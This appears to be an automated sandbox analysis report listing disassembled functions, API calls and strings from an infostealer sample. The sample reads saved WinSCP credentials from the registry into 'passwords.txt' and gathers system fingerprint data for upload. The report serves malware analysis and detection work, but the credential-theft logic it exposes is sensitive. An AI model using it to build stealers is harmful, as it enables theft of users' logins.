Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

58cd250b15e666e5f72fcf5caa6cb131, xrefs: 00406471
------, xrefs: 00406080
", xrefs: 00406445
------, xrefs: 004064C9
------, xrefs: 00406206
", xrefs: 004062E5
build_id, xrefs: 00406419
mode, xrefs: 00406575
", xrefs: 004065A1
_wA, xrefs: 004067D8
------, xrefs: 00406367

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$58cd250b15e666e5f72fcf5caa6cb131$_wA$build_id$mode
API String ID: 3702379033-2423882551
Opcode ID: f0de5c37048d70951cdf2d716590af8b5cc17008e427d2bdffd0b74d9a4a75be
Instruction ID: d7eca80f77f91b7642c34a4b8a2efe564294a89bb46c215ef7dcca6b5cef4dcb
Opcode Fuzzy Hash: f0de5c37048d70951cdf2d716590af8b5cc17008e427d2bdffd0b74d9a4a75be
Instruction Fuzzy Hash: 7022C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0040E186 Relevance: 51.1, APIs: 15, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368EF), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

UserName, xrefs: 0040E496
Soft: WinSCP, xrefs: 0040E2FE
:22, xrefs: 0040E42D
Login: , xrefs: 0040E459
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
PortNumber, xrefs: 0040E3BD
UseMasterPassword, xrefs: 0040E24E
Host: , xrefs: 0040E32A
HostName, xrefs: 0040E367
Security, xrefs: 0040E253
Password, xrefs: 0040E515
Password: , xrefs: 0040E529
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
passwords.txt, xrefs: 0040E662

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$Value$Open$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 3303087153-2798830873
Opcode ID: ecb68a3f0fb3f5f29207da25597acd2791be6751dd897dc87ccd0ad97958169b
Instruction ID: 055c08f46d5067d6d834f6975861f9e19b2ff827753642eb3d617421de422a5d
Opcode Fuzzy Hash: ecb68a3f0fb3f5f29207da25597acd2791be6751dd897dc87ccd0ad97958169b
Instruction Fuzzy Hash: C8D1E7B191012DAADF20EB95DC42BD9B778AF04308F5018EBA908B3151DA757FC9CFA5

Function 0041860C Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 0041864D
GetProcAddress.KERNEL32 ref: 00418664
GetProcAddress.KERNEL32 ref: 0041867B
GetProcAddress.KERNEL32 ref: 00418692
GetProcAddress.KERNEL32 ref: 004186A9
GetProcAddress.KERNEL32 ref: 004186C0
GetProcAddress.KERNEL32 ref: 004186D7
GetProcAddress.KERNEL32 ref: 004186EE
GetProcAddress.KERNEL32 ref: 00418705
GetProcAddress.KERNEL32 ref: 0041871C
GetProcAddress.KERNEL32 ref: 00418733
GetProcAddress.KERNEL32 ref: 0041874A
GetProcAddress.KERNEL32 ref: 00418761
GetProcAddress.KERNEL32 ref: 00418778
GetProcAddress.KERNEL32 ref: 0041878F
GetProcAddress.KERNEL32 ref: 004187A6
GetProcAddress.KERNEL32 ref: 004187BD
GetProcAddress.KERNEL32 ref: 004187D4
GetProcAddress.KERNEL32 ref: 004187EB
GetProcAddress.KERNEL32 ref: 00418802
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418813
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418824
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418835
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418846
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418857
GetProcAddress.KERNEL32(75070000,0041848B), ref: 00418873
GetProcAddress.KERNEL32(75FD0000,0041848B), ref: 0041888E
GetProcAddress.KERNEL32 ref: 004188A5
GetProcAddress.KERNEL32(75A50000,0041848B), ref: 004188C0
GetProcAddress.KERNEL32(74E50000,0041848B), ref: 004188DB
GetProcAddress.KERNEL32(76E80000,0041848B), ref: 004188F6
GetProcAddress.KERNEL32 ref: 0041890D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 4332a02b9d0c5ae084649ce964c8752c17ba0114f4f265c81da2c6ba2930f8e7
Instruction ID: bd0feea27713c7d7df585fd29c16e03324b4d812accd9a2583cdf4412740ba17
Opcode Fuzzy Hash: 4332a02b9d0c5ae084649ce964c8752c17ba0114f4f265c81da2c6ba2930f8e7
Instruction Fuzzy Hash: BB711775910312AFEF1ADF61FD488243BA7F70874BF11A426E91582270EB374A64EF54

Function 00413B4F Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,00436874,HWID: ,00436868,GUID: ,0043685C,00000000,MachineID: ,0043684C,00000000,Date: ,00436840,0043683C,004379A4,Version: ,004365B6), ref: 00413DA4

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,00413DB3,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EC2,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F30,?,AV: ,004368BC,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,00436707,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924,Keyboard Languages: ,00436908), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000), ref: 00410FA6

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043673D,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670B,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E84), ref: 004113DC

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000), ref: 0041452C

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

Cores: , xrefs: 00414257
User Name: , xrefs: 00413FD7
HWID: , xrefs: 00413D17
TimeZone: , xrefs: 00414175
AV: , xrefs: 00413F07
Threads: , xrefs: 004142B8
GUID: , xrefs: 00413CAA
VideoCard: , xrefs: 00414380
Install Date: , xrefs: 00413E9A
Date: , xrefs: 00413BE8
Version: , xrefs: 00413B68
RAM: , xrefs: 00414319
Local Time: , xrefs: 00414114
Path: , xrefs: 00413D84
[Processes], xrefs: 004143F3
Computer Name: , xrefs: 00413F76
information.txt, xrefs: 0041453C
[Software], xrefs: 0041446C
Windows: , xrefs: 00413E39
Processor: , xrefs: 004141F6
Display Resolution: , xrefs: 00414038
MachineID: , xrefs: 00413C49
Keyboard Languages: , xrefs: 004140A7
Work Dir: In memory, xrefs: 00413DF9
[Hardware], xrefs: 004141D6

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3279995179-1014693891
Opcode ID: 6f87393862becc57fbbdd16467dcb7da603c6cf4a34e40c15e9169b4a79dae42
Instruction ID: 441d3ae57d19fa342472858c1180299489366c71e834a527016756c81504465d
Opcode Fuzzy Hash: 6f87393862becc57fbbdd16467dcb7da603c6cf4a34e40c15e9169b4a79dae42
Instruction Fuzzy Hash: 14527C71D4001EAACF01FBA6DD429DDB7B5AF04308F51416BB510771A1DBB87E8E8B98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437190,004367C2,?,?,?), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,00437194), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,00437198), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,0043719C), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A0), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371A4), ref: 00408779
lstrcatA.KERNEL32(?,004371A8), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: ea086920ada5386683364fd7a06bf6c7dc596c925699c8f79d29885de5bae042
Instruction ID: b1a2efcfa5bdb3df5db9219e748ab06c96c9523fe0244b9b68265e97ac535b76
Opcode Fuzzy Hash: ea086920ada5386683364fd7a06bf6c7dc596c925699c8f79d29885de5bae042
Instruction Fuzzy Hash: 79813132900208ABCF05FFA1EE4A9CD7B76BF08315F205026F501B31A1EB7A5E559B99

Function 0041697F Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 0041688F: StrCmpCA.SHLWAPI(?,ERROR), ref: 004168E3
Part of subcall function 0041688F: lstrlenA.KERNEL32(?), ref: 004168EE
Part of subcall function 0041688F: StrStrA.SHLWAPI(00000000,?), ref: 00416903
Part of subcall function 0041688F: lstrlenA.KERNEL32(?), ref: 00416912
Part of subcall function 0041688F: lstrlenA.KERNEL32(00000000), ref: 0041692B

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416A69
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B22
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B7B
